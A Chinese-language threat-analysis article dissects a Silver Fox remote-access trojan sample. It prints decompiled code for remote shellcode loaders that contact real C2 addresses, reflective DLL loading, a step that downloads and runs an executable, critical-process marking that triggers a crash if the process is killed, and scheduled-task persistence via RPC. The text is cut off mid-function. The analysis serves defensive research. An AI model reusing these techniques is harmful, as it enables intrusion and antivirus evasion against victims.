【病毒分析】R3强杀360:银狐远控病毒再进化

文章正文
发布时间:2025-08-30 06:10

1. 背景 1.1 病毒介绍

  银狐病毒自2022年起活跃,主要针对中国用户和企事业单位,尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接,以及利用SEO(搜索引擎优化)确保其钓鱼网站在中国搜索引擎中的排名靠前。此外,银狐还结合恶意广告投放和多次电子邮件钓鱼活动,分发远程管理木马(RATs),以实现对受害者设备的远程控制和数据窃取。

  以下为近期捕获到的一起银狐病毒样本,我们对其进行了深入分析。

1.1.PNG

1.2.PNG

2. 文件分析 2.1 基本信息 文件名 明细查看_Setup.exe
大小   2.67 MB  
操作系统   Windows(Vista)[AMD64, 64位, GUI]  
模式   32 位  
类型   EXEC  
字节序   LE  
MD5   1a416558435d62dcca79346e6b839370  
SHA1   039e938f5af45edc168c6aa6ebe450f2bc7eddd7  
SHA256   035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea  
2.1.1 程序执行流程

  程序执行流程如下,通过多次远程加载shellcode执行远控

2.1.1.PNG

2.1.2 初次远程加载shellcode

  程序入口为start

2.1.2.1.png

  其中第一个函数便是用于加载shellcode的

2.1.2.2.png

2.1.2.3.png

  遍历函数数组逐个执行函数

int shellcode_execute_1() {   int result; // eax   int v1; // edi   int v2; // ebx   void (*v3)(void); // esi   unsigned int v4[6]; // [esp-Ch] [ebp-1Ch] BYREF   int v5; // [esp+Ch] [ebp-4h]   int savedregs; // [esp+10h] [ebp+0h] BYREF   result = dword_6827D0;   if ( dword_6827D0 )   {     v1 = *(_DWORD *)dword_6827D0;     v2 = 0;     v5 = *(_DWORD *)(dword_6827D0 + 4);     v4[2] = (unsigned int)&savedregs;     v4[1] = (unsigned int)&loc_40508D;     v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;     __writefsdword(0, (unsigned int)v4);     if ( v1 > 0 )     {       do       {         v3 = *(void (**)(void))(v5 + 8 * v2++);         dword_6827D4 = v2;         if ( v3 )           v3();       }       while ( v1 > v2 );     }     result = 0;     __writefsdword(0, v4[0]);   }   return result; }

  如下

2.1.2.4.png

  最后执行用于远程加载shellcode的函数

int sub_65D174() {   int v1; // [esp+0h] [ebp-204h] BYREF   _DWORD v2[4]; // [esp+190h] [ebp-74h] BYREF   int (__stdcall *VirtualAlloc)(_DWORD, int, int, int); // [esp+1A0h] [ebp-64h]   void (__stdcall *WSAStartup)(int, int *); // [esp+1ACh] [ebp-58h]   int (__stdcall *socket)(int, int, _DWORD); // [esp+1B0h] [ebp-54h]   int (__stdcall *htons)(int); // [esp+1B4h] [ebp-50h]   void (__stdcall *connect)(int, _WORD *, int); // [esp+1BCh] [ebp-48h]   int (__stdcall *recv)(int, char *, int, _DWORD); // [esp+1C8h] [ebp-3Ch]   int v9; // [esp+1CCh] [ebp-38h]   int v10; // [esp+1D0h] [ebp-34h]   _WORD v11[2]; // [esp+1D4h] [ebp-30h] BYREF   int ip_addr; // [esp+1D8h] [ebp-2Ch]   int (*v13)(void); // [esp+1E4h] [ebp-20h]   int v14; // [esp+1E8h] [ebp-1Ch]   char v15[8]; // [esp+1ECh] [ebp-18h] BYREF   char v16[8]; // [esp+1F4h] [ebp-10h] BYREF   int v17; // [esp+1FCh] [ebp-8h]   int v18; // [esp+200h] [ebp-4h]   sub_65D284(v2);   v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);   v17 = 0;   v10 = 4096;   v9 = 118784;   WSAStartup(514, &v1);   v14 = socket(2, 1, 0);   v11[0] = 2;   v11[1] = htons(8852);   ip_addr = 0xF511FB9C;   connect(v14, v11, 16);   while ( 1 )   {     v18 = recv(v14, (char *)v13 + v17, 4096, 0);     if ( v18 <= 0 )       break;     v17 += v18;   }   strcpy(v16, "hello");   strcpy(v15, "hel1o");   return v13(); } 2.1.3 二次远程加载shellcode

  向地址156.251.17.245:8852发送请求远程加载shellcode

2.1.3.1.png

  然后指针执行shellcode

2.1.3.2.png

  发现指针unk_3470BD7指向一个pe文件

2.1.3.3.png

  将其dump下来

2.2 反射加载dll 2.2.1 dll初步分析

  发现是一个dll文件

2.2.1.1.png

  其中这个dll提供了一个导出函数

2.2.1.2.png

  初步查看似乎是与关闭360相关的

2.2.1.3.png

2.2.2 加载函数并进行dll的校验

  加载函数

  kernel32_dll_str[0] = 'k';   kernel32_dll_str[1] = 'e';   kernel32_dll_str[4] = 'e';   kernel32_dll_str[6] = '3';   kernel32_dll_str[7] = '2';   kernel32_dll_str[8] = '.';   v112 = 0;   VirtualAlloc = 0;   FlushInstructionCache = 0;   GetNativeSystemInfo = 0;   VirtualProtect = 0;   Sleep_1 = 0;   v118 = 0;   kernel32_dll_str[2] = 'r';   kernel32_dll_str[3] = 'n';   kernel32_dll_str[5] = 'l';   kernel32_dll_str[9] = 'd';   kernel32_dll_str[10] = 'l';   kernel32_dll_str[11] = 'l';   qmemcpy(Sleep, "Sleep", 5);   qmemcpy(v106, "VirtualAllocLoadLibraryAVirtualProtect", 38);   qmemcpy(v109, "FlushInstructionCache", 21);   qmemcpy(v107, "GetNativeSystemInfo", 19);   qmemcpy(v108, "RtlAddFunctionTable", 19);   LdrLoadDll = (void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrGetProcedureAddress(v86, v88, v90, v92);   ProcedureAddress = (char *)LdrGetProcedureAddress(v87, v89, v91, v93);   v120 = kernel32_dll_str;   v119[1] = 24;   v119[0] = 24;   v103 = ProcedureAddress;   LdrLoadDll(0, 0, v119, &v97);   v94 = 0xC000C;   v95 = v106;   ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(     v97,     &v94,     0,     &VirtualAlloc);   v94 = 917518;   v95 = &v106[6];   ((void (__stdcall *)(int, int *, _DWORD, _DWORD))ProcedureAddress)(v97, &v94, 0, &VirtualProtect);   v94 = 1376277;   v95 = v109;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))ProcedureAddress)(     v97,     &v94,     0,     &FlushInstructionCache);   v94 = 1245203;   v95 = v107;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))ProcedureAddress)(     v97,     &v94,     0,     &GetNativeSystemInfo);   v94 = 0x50005;   v95 = Sleep;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))ProcedureAddress)(v97, &v94, 0, &Sleep_1);   v94 = 1245203;   v95 = v108;   ((void (__stdcall *)(int, int *, _DWORD, int *))ProcedureAddress)(v97, &v94, 0, &v118);   v94 = 0xC000C;   v95 = &v106[3];   ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))ProcedureAddress)(v97, &v94, 0, &v112);   if ( !VirtualAlloc )     return 0;   if ( !VirtualProtect )     return 0;   if ( !Sleep_1 )     return 0;   if ( !FlushInstructionCache )     return 0;   if ( !GetNativeSystemInfo )     return 0;

  获取dll中导出函数的地址

int __stdcall LdrGetProcedureAddressForCaller(int a1, int a2, int a3, int a4) {   void *retaddr; // [esp+4h] [ebp+4h]   return ((int (__stdcall *)(int, int, int, int, _DWORD, void *))ntdll_LdrGetProcedureAddressForCaller)(            a1,            a2,            a3,            a4,            0,            retaddr); }

  校验pe结构

  str_PE = &a1[*((_DWORD *)a1 + 15)];   if ( *(_DWORD *)str_PE != 'EP' )     return 0;   if ( *((_WORD *)str_PE + 2) != 332 )     return 0;   v10 = *((_DWORD *)str_PE + 14);   if ( (v10 & 1) != 0 )     return 0;   v11 = 0;   v12 = *((unsigned __int16 *)str_PE + 3);   if ( *((_WORD *)str_PE + 3) )   {     v13 = &str_PE[*((unsigned __int16 *)str_PE + 10) + 36];     do     {       if ( *((_DWORD *)v13 + 1) )         v10 = *((_DWORD *)v13 + 1);       v14 = *(_DWORD *)v13 + v10;       if ( v14 <= v11 )         v14 = v11;       v13 += 40;       v11 = v14;       v10 = *((_DWORD *)str_PE + 14);       --v12;     }     while ( v12 );     v8 = a1;   }

  经过一系列的自解密后刷新进程的指令缓存

2.2.2.png

2.2.3 执行dll

  然后执行

2.2.3.1.png

  即在内存中反射加载的dll的DllEntryPoint中的起始部分,生成了一个伪随机数

2.2.3.2.png

  Dllmain

int __cdecl dllmain_dispatch(HINSTANCE hinstDLL, DWORD fdwReason, void *const lpvReserved) {   void *v4; // ebx   int v5; // esi   int v6; // eax   if ( !fdwReason && dword_1000D168 <= 0 )     return 0;   if ( fdwReason != 1 && fdwReason != 2 )   {     v4 = lpvReserved; LABEL_9:     v6 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain)(hinstDLL, fdwReason, v4);     v5 = v6;     if ( fdwReason == 1 && !v6 )     {       ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain)(hinstDLL, 0, v4);       ((void (__cdecl *)(bool))unk_100077D9)(v4 != 0);       ((void (__stdcall *)(HINSTANCE, _DWORD, void *))dllmain_raw)(hinstDLL, 0, v4);     }     if ( !fdwReason || fdwReason == 3 )     {       v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_crt_dispatch)(hinstDLL, fdwReason, v4);       if ( v5 )         return ((int (__stdcall *)(HINSTANCE, DWORD, void *))dllmain_raw)(hinstDLL, fdwReason, v4);     }     return v5;   }   v4 = lpvReserved;   v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_raw)(hinstDLL, fdwReason, lpvReserved);   if ( v5 )   {     v5 = ((int (__stdcall *)(HINSTANCE, DWORD, void *const))dllmain_crt_dispatch)(hinstDLL, fdwReason, lpvReserved);     if ( v5 )       goto LABEL_9;   }   return v5; }

  判断自身是否位于C:\\Users\\username\\AppData\\Roaming\\目录下,如果不在则将自身移动到C:\\Users\\username\\AppData\\Roaming\\目录下,下并调用ShellExecuteA打开,然后退出程序

int __usercall sub_100020A0@<eax>(int a1@<esi>) {   bool v1; // cf   int *v3; // eax   _DWORD v4[6]; // [esp+4h] [ebp-19Ch] BYREF   _DWORD v5[6]; // [esp+1Ch] [ebp-184h] BYREF   int *v6; // [esp+34h] [ebp-16Ch]   int v7; // [esp+38h] [ebp-168h]   int *v8; // [esp+3Ch] [ebp-164h]   const char *v9; // [esp+40h] [ebp-160h]   const char *v10; // [esp+44h] [ebp-15Ch]   BOOL v11; // [esp+48h] [ebp-158h]   int v12; // [esp+4Ch] [ebp-154h]   int *v13; // [esp+50h] [ebp-150h]   unsigned __int8 *v14; // [esp+54h] [ebp-14Ch]   bool v15; // [esp+59h] [ebp-147h]   unsigned __int8 v16; // [esp+5Ah] [ebp-146h]   unsigned __int8 v17; // [esp+5Bh] [ebp-145h]   int v18[6]; // [esp+5Ch] [ebp-144h] BYREF   int v19[6]; // [esp+74h] [ebp-12Ch] BYREF   _BYTE v20[260]; // [esp+8Ch] [ebp-114h] BYREF   int v21; // [esp+19Ch] [ebp-4h]   get_path(v18, 26);   v21 = 0;   sub_10001920((int)v19);   LOBYTE(v21) = 1;   v10 = (const char *)sub_100029F0(v19);   v9 = (const char *)sub_100029F0(v18);   sprintf((int)v20, 260, (int)"%s\\%s", v9, v10);   v8 = sub_100018C0(v5);   v13 = sub_100029F0(v8);   v14 = v20;   while ( 1 )   {     v17 = *v14;     v1 = v17 < *(_BYTE *)v13;     if ( v17 != *(_BYTE *)v13 )       break;     if ( !v17 )       goto LABEL_6;     v16 = v14[1];     v1 = v16 < *((_BYTE *)v13 + 1);     if ( v16 != *((_BYTE *)v13 + 1) )       break;     v14 += 2;     v13 = (int *)((char *)v13 + 2);     if ( !v16 )     { LABEL_6:       v12 = 0;       goto LABEL_8;     }   }   v12 = v1 ? -1 : 1; LABEL_8:   v7 = v12;   v11 = v12 == 0;   v15 = v12 == 0;   sub_10002A40(v5);   if ( v15 )   {     LOBYTE(v21) = 0;     sub_10002A40(v19);     v21 = -1;     return sub_10002A40(v18);   }   else   {     v6 = sub_100018C0(v4);     v3 = sub_100029F0(v6);     kernel32_CopyFileA(a1, (int)v3, (int)v20, 0);     sub_10002A40(v4);     ((void (__stdcall *)(_DWORD, const char *, _BYTE *, _DWORD, _DWORD, int))shell32_ShellExecuteA)(       0,       "open",       v20,       0,       0,       1);     ((void (__stdcall *)(_DWORD))ucrtbase_exit)(0);     LOBYTE(v21) = 0;     sub_10002A40(v19);     v21 = -1;     return sub_10002A40(v18);   } }

  然后执行反射加载的dll中的导出函数VFPower

2.2.3.3.png

2.2.4 函数VFPower执行流程

2.2.4.1.png

2.2.5 远程加载用于强关360的exe

  下载了一个名为project的exe

ppResult = 0;   i = 0;   WSAStartup(0x202u, &WSAData);   pHints.ai_flags = 0;   memset(&pHints.ai_addrlen, 0, 16);   pHints.ai_family = 2;   pHints.ai_socktype = 1;   pHints.ai_protocol = 6;   v7 = getaddrinfo("154.37.214.153", "18853", &pHints, &ppResult);   if ( v7 )   {     WSACleanup();     exit(0);   }   for ( i = ppResult; i; i = i->ai_next )   {     s = socket(i->ai_family, i->ai_socktype, i->ai_protocol);     if ( s == -1 )     {       WSACleanup();       exit(0);     }     v7 = connect(s, i->ai_addr, i->ai_addrlen);     if ( v7 != -1 )       break;     closesocket(s);     s = -1;   }   freeaddrinfo(ppResult);   if ( s == -1 )   {     WSACleanup();     exit(0);   }   v8 = 0;   ElementCount = 0;   Size = 4096;   Block = malloc(0x1000u);   while ( 1 )   {     v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0);     if ( v8 <= 0 )       break;     ElementCount += v8;     if ( ElementCount == Size )     {       Size *= 2;       Block = realloc(Block, Size);     }     if ( v8 <= 0 )       goto LABEL_19;   }   if ( v8 )   {     closesocket(s);     WSACleanup();     free(Block);     exit(0);   } LABEL_19:   closesocket(s);   WSACleanup();   v5 = sub_10001800((int)v4, 26);   v4[7] = v5;   v18 = 0;   sub_100035B0((int)v16, v5, "\\project.exe");   v18 = -1;   sub_10002650(v4);   v0 = (const char *)sub_10002600(v16);   Stream = fopen(v0, "wb");   if ( !Stream )   {     free(Block);     exit(0);   }   v4[6] = fwrite(Block, 1u, ElementCount, Stream);   fclose(Stream);   free(Block);   v1 = (const CHAR *)sub_10002600(v16);

  执行它,然后再删除文件

WinExec(v1, 0);   while ( 1 )   {     v2 = (const CHAR *)sub_10002600(v16);     if ( DeleteFileA(v2) )       break;     Sleep(0x3E8u);   }   return sub_10002650(v16);

2.2.5.1.png

  检测进程函数

char __cdecl CheckProcessExists(int a1) {   int v2; // eax   int v3; // [esp+0h] [ebp-238h]   int v4; // [esp+4h] [ebp-234h]   _DWORD v5[9]; // [esp+8h] [ebp-230h] BYREF   _BYTE v6[520]; // [esp+2Ch] [ebp-20Ch] BYREF   v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);   if ( v4 == -1 )     return 0;   v5[0] = 556;   if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) )   {     do     {       v2 = ((int (__thiscall *)(int))unk_10002890)(a1);       if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) )       {         ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);         return 1;       }     }     while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );     ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);     return 0;   }   else   {     v3 = ((int (__cdecl *)(void *, const char *))unk_10003600)(            &msvcp140__cerr_std__3V__basic_ostream_DU__char_traits_D_std___1_A,            "Failed to retrieve first process.");     ((void (__thiscall *)(int, void *))msvcp140___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_P6AAAV01_AAV01__Z_Z)(       v3,       &unk_10003950);     ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);     return 0;   } }

  判断360tray.exe是否存在

2.2.5.2.png

2.2.6 利用BSOD技术将自身设为系统关键进程

  提权并将自己设置为系统关键进程。如果进程被关闭,则会造成蓝屏。

   v18 = ((int (__stdcall *)(const wchar_t *))kernel32_LoadLibraryW)(L"ntdll.dll");     RtlAdjustPrivilege = (NTSTATUS (__stdcall *)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(                                                                                       v18,                                                                                       "RtlAdjustPrivilege");     RtlSetProcessIsCritical = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, const char *))kernel32_GetProcAddress)(                                                                            v18,                                                                            "RtlSetProcessIsCritical");     v11 = RtlAdjustPrivilege;     RtlAdjustPrivilege(0x14u, 1u, 0, &v31);     v10 = RtlSetProcessIsCritical;     RtlSetProcessIsCritical(1, 0, 0);     ((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v3, L"360tray.exe");     v26 |= 0x10u;     v17 = !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v3)        && (((void (__thiscall *)(_BYTE *, const wchar_t *))copy_str)(v4, L"360Tray.exe"),            v26 |= 0x20u,            !(unsigned __int8)((int (__cdecl *)(_BYTE *))CheckProcessExists)(v4));     v22 = v17;

  如果进程被关闭,则会造成蓝屏。

2.2.6.png

2.2.7 rpc维权

  利用rpc创建计划任务实现维权。具体手法可以参考文章https://developer.aliyun.com/article/1342895

RPC_BINDING_HANDLE sub_10004C70() {   RPC_WSTR StringBinding; // [esp+Ch] [ebp-1Ch] BYREF   RPC_BINDING_HANDLE Binding; // [esp+10h] [ebp-18h] BYREF   RPC_SECURITY_QOS SecurityQos; // [esp+14h] [ebp-14h] BYREF   Binding = 0;   memset(&SecurityQos, 0, sizeof(SecurityQos));   if ( RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding) )     return 0;   RpcBindingFromStringBindingW(StringBinding, &Binding);   SecurityQos.Version = 1;   SecurityQos.ImpersonationType = 3;   SecurityQos.Capabilities = 0;   SecurityQos.IdentityTracking = 0;   RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);   RpcStringFreeW(&StringBinding);   return Binding; } int __cdecl sub_100070F0(char a1) {   return ((int (__cdecl *)(_UNKNOWN **, char *, char *))rpcrt4_NdrClientCall2)(            &off_1000A520,            (char *)&unk_1000A5BA + 40,            &a1); }

  内置了一段计划任务相关的xml文档

aXmlVersion10En:                        ; DATA XREF: .data:off_1000D0C4↓o text "UTF-16LE", '<?xml version="1.0" encoding="UTF-16"?>',0Ah text "UTF-16LE", '<Task xmlns="http://schemas.microsoft.com/windows/2' text "UTF-16LE", '004/02/mit/task">',0Ah text "UTF-16LE", '  <RegistrationInfo>',0Ah text "UTF-16LE", '    <Date>2006-11-10T14:29:55.5851926</Date>',0Ah text "UTF-16LE", '    <Author>Microsoft Corporation</Author>',0Ah text "UTF-16LE", '    <Description>' .rdata:10009666 aAdRmsWebDescr: text "UTF-16LE", '更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提' text "UTF-16LE", '供凭据提示。</Description>',0Ah text "UTF-16LE", '    <URI>\WakeUpAndContinueUpdatesde</URI>',0Ah text "UTF-16LE", '    <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(' text "UTF-16LE", 'A;;FRFX;;;WD)</SecurityDescriptor>',0Ah text "UTF-16LE", '  </RegistrationInfo>',0Ah text "UTF-16LE", '  <Triggers>',0Ah text "UTF-16LE", '    <LogonTriggerUTF-16LE", 'ddbaf11">',0Ah text "UTF-16LE", '      <Enabled>true</Enabled>',0Ah text "UTF-16LE", '      <Delay>PT30S</Delay>',0Ah text "UTF-16LE", '    </LogonTrigger>',0Ah text "UTF-16LE", '  </Triggers>',0Ah text "UTF-16LE", '  <Principals>',0Ah text "UTF-16LE", '    <Principal>',0Ah text "UTF-16LE", '      <GroupId>S-1-1-0</GroupId>',0Ah text "UTF-16LE", '      <RunLevel>HighestAvailable</RunLevel>',0Ah text "UTF-16LE", '    </Principal>',0Ah text "UTF-16LE", '  </Principals>',0Ah text "UTF-16LE", '  <Settings>',0Ah text "UTF-16LE", '    <MultipleInstancesPolicy>Parallel</MultipleInst' text "UTF-16LE", 'ancesPolicy>',0Ah text "UTF-16LE", '    <DisallowStartIfOnBatteries>false</DisallowStar' text "UTF-16LE", 'tIfOnBatteries>',0Ah text "UTF-16LE", '    <StopIfGoingOnBatteries>false</StopIfGoingOnBat' text "UTF-16LE", 'teries>',0Ah text "UTF-16LE", '    <AllowHardTerminate>false</AllowHardTerminate>',0Ah text "UTF-16LE", '    <StartWhenAvailable>true</StartWhenAvailable>',0Ah text "UTF-16LE", '    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetwo' text "UTF-16LE", 'rkAvailable>',0Ah text "UTF-16LE", '    <IdleSettings>',0Ah text "UTF-16LE", '      <StopOnIdleEnd>true</StopOnIdleEnd>',0Ah text "UTF-16LE", '      <RestartOnIdle>false</RestartOnIdle>',0Ah text "UTF-16LE", '    </IdleSettings>',0Ah text "UTF-16LE", '    <AllowStartOnDemand>true</AllowStartOnDemand>',0Ah text "UTF-16LE", '    <Enabled>true</Enabled>',0Ah text "UTF-16LE", '    <Hidden>false</Hidden>',0Ah text "UTF-16LE", '    <RunOnlyIfIdle>false</RunOnlyIfIdle>',0Ah text "UTF-16LE", '    <DisallowStartOnRemoteAppSession>false</Disallo' text "UTF-16LE", 'wStartOnRemoteAppSession>',0Ah text "UTF-16LE", '    <UseUnifiedSchedulingEngine>true</UseUnifiedSch' text "UTF-16LE", 'edulingEngine>',0Ah text "UTF-16LE", '    <WakeToRun>false</WakeToRun>',0Ah text "UTF-16LE", '    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>',0Ah text "UTF-16LE", '    <Priority>7</Priority>',0Ah text "UTF-16LE", '    <RestartOnFailure>',0Ah text "UTF-16LE", '      <Interval>PT1M</Interval>',0Ah text "UTF-16LE", '      <Count>16</Count>',0Ah text "UTF-16LE", '    </RestartOnFailure>',0Ah text "UTF-16LE", '  </Settings>',0Ah text "UTF-16LE", '  <Actions Context="AllUsers">',0Ah text "UTF-16LE", '    <Exec>',0Ah text "UTF-16LE", '      <Command>5555555555</Command>',0Ah text "UTF-16LE", '    </Exec>',0Ah text "UTF-16LE", '  </Actions>',0Ah text "UTF-16LE", '</Task>',0Ah,0

  创建了如下计划任务

2.2.7.png

2.2.8 第三次远程加载shellcode,执行远控

  又从一个新的地址156.251.17.245:18852远程加载shellcode

{   int (*v1)(void); // [esp+0h] [ebp-1D8h]   int v2; // [esp+8h] [ebp-1D0h]   int v3; // [esp+Ch] [ebp-1CCh]   int v4; // [esp+10h] [ebp-1C8h]   int v5; // [esp+14h] [ebp-1C4h]   int v6; // [esp+18h] [ebp-1C0h]   _DWORD *i; // [esp+1Ch] [ebp-1BCh]   _DWORD *v8; // [esp+20h] [ebp-1B8h] BYREF   _BYTE v9[400]; // [esp+24h] [ebp-1B4h] BYREF   _DWORD v10[8]; // [esp+1B4h] [ebp-24h] BYREF   v8 = 0;   ((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v9);   v10[0] = 0;   memset(&v10[4], 0, 16);   v10[1] = 2;   v10[2] = 1;   v10[3] = 6;   if ( ((int (__stdcall *)(const char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)(          "156.251.17.245",          "18852",          v10,          &v8) )   {     goto LABEL_9;   }   for ( i = v8; i; i = (_DWORD *)i[7] )   {     v6 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]);     if ( v6 == -1 )       goto LABEL_9;     if ( ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(v6, i[6], i[4]) != -1 )       break;     ((void (__stdcall *)(int))ws2_32_closesocket)(v6);     v6 = -1;   }   ((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v8);   if ( v6 == -1 )   { LABEL_9:     ((void (*)(void))ws2_32_WSACleanup)();     return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0);   }   else   {     v5 = 0;     v4 = 4096;     v2 = ((int (__cdecl *)(int))ucrtbase_malloc)(4096);     while ( 1 )     {       v3 = ((int (__stdcall *)(int, int, int, _DWORD))ws2_32_recv)(v6, v5 + v2, v4 - v5, 0);       if ( v3 <= 0 )         break;       v5 += v3;       if ( v5 == v4 )       {         v4 *= 2;         v2 = ((int (__cdecl *)(int, int))ucrtbase_realloc)(v2, v4);       }     }     if ( v3 )     {       ((void (__stdcall *)(int))ws2_32_closesocket)(v6);       ((void (*)(void))ws2_32_WSACleanup)();       ((void (__cdecl *)(int))ucrtbase_free)(v2);       return ((int (__stdcall *)(_DWORD))ucrtbase_exit)(0);     }     else     {       v1 = (int (*)(void))((int (__stdcall *)(_DWORD, int, int, int))kernel32_VirtualAlloc)(0, v5, 12288, 64);       ((void (__cdecl *)(int (*)(void), int, int))memset)(v1, v2, v5);       return v1();     }   } }

  动态加载api

  v113[0] = 'k';   v113[1] = 'e';   v113[4] = 'e';   v113[6] = '3';   v113[7] = '2';   v113[8] = '.';   v108 = 0;   VirtualAlloc = 0;   FlushInstructionCache = 0;   GetNativeSystemInfo = 0;   VirtualProtect = 0;   Sleep = 0;   v114 = 0;   v113[2] = 'r';   v113[3] = 'n';   v113[5] = 'l';   v113[9] = 'd';   v113[10] = 'l';   v113[11] = 'l';   qmemcpy(v97, "Sleep", 5);   qmemcpy(v98, "VirtualAllocLoadLibraryAVirtualProtect", 38);   qmemcpy(v105, "FlushInstructionCache", 21);   qmemcpy(v103, "emInfo", sizeof(v103));   qmemcpy(v99, "Ge", sizeof(v99));   v100 = &unk_74614E74;   qmemcpy(v101, "ive", sizeof(v101));   v102 = &unk_74737953;   qmemcpy(v104, "RtlAddFunctionTable", 19);   LdrLoadDll = load((void *)0xBDBF9C13);   LdrGetProcedureAddressForCaller = load((void *)0x5ED941B5);   v116 = v113;   v115[1] = 24;   v115[0] = 24;   v95 = LdrGetProcedureAddressForCaller;   ((void (__stdcall *)(_DWORD, _DWORD, _WORD *, int *))LdrLoadDll)(0, 0, v115, &v89);   v86 = 786444;   v87 = v98;   ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))LdrGetProcedureAddressForCaller)(     v89,     &v86,     0,     &VirtualAlloc);   v86 = 917518;   v87 = &v98[6];   ((void (__stdcall *)(int, int *, _DWORD, _DWORD))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &VirtualProtect);   v86 = 1376277;   v87 = v105;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(int, _DWORD, _DWORD)))LdrGetProcedureAddressForCaller)(     v89,     &v86,     0,     &FlushInstructionCache);   v86 = 1245203;   v87 = v99;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(char *)))LdrGetProcedureAddressForCaller)(     v89,     &v86,     0,     &GetNativeSystemInfo);   v86 = 327685;   v87 = v97;   ((void (__stdcall *)(int, int *, _DWORD, void (__stdcall **)(unsigned int)))LdrGetProcedureAddressForCaller)(     v89,     &v86,     0,     &Sleep);   v86 = 1245203;   v87 = v104;   ((void (__stdcall *)(int, int *, _DWORD, int *))LdrGetProcedureAddressForCaller)(v89, &v86, 0, &v114);   v86 = 786444;   v87 = &v98[3];   ((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(int)))LdrGetProcedureAddressForCaller)(     v89,     &v86,     0,     &v108);   if ( !VirtualAlloc )     return 0;   if ( !VirtualProtect )     return 0;   if ( !Sleep )     return 0;   if ( !FlushInstructionCache )     return 0;   if ( !GetNativeSystemInfo )     return 0;

  生成配置信息

int sub_35D29A0() {   int result; // eax   _DWORD v1[4]; // [esp-20h] [ebp-30h] BYREF   int v2; // [esp-10h] [ebp-20h]   int v3; // [esp-Ch] [ebp-1Ch]   void *v4; // [esp-4h] [ebp-14h]   wchar_t *v5; // [esp+Ch] [ebp-4h]   if ( !byte_35F4FDC )   {     byte_35F4FDC = 1;     big_to_small((__int16 *)a1Js04t14364o21);     ((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F3A98, 0, 4768);     ((void (__cdecl *)(void *, _DWORD, int))sub_35DB660)(&unk_35F4D38, 0, 664);     LOWORD(v1[0]) = 0;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p1:", 0);     v4 = &unk_35F3CB4;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o1:", 0);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t1:", &dword_35F3CF0);     v4 = &unk_35F3CF4;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p2:", 0);     v4 = &unk_35F3EF2;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl 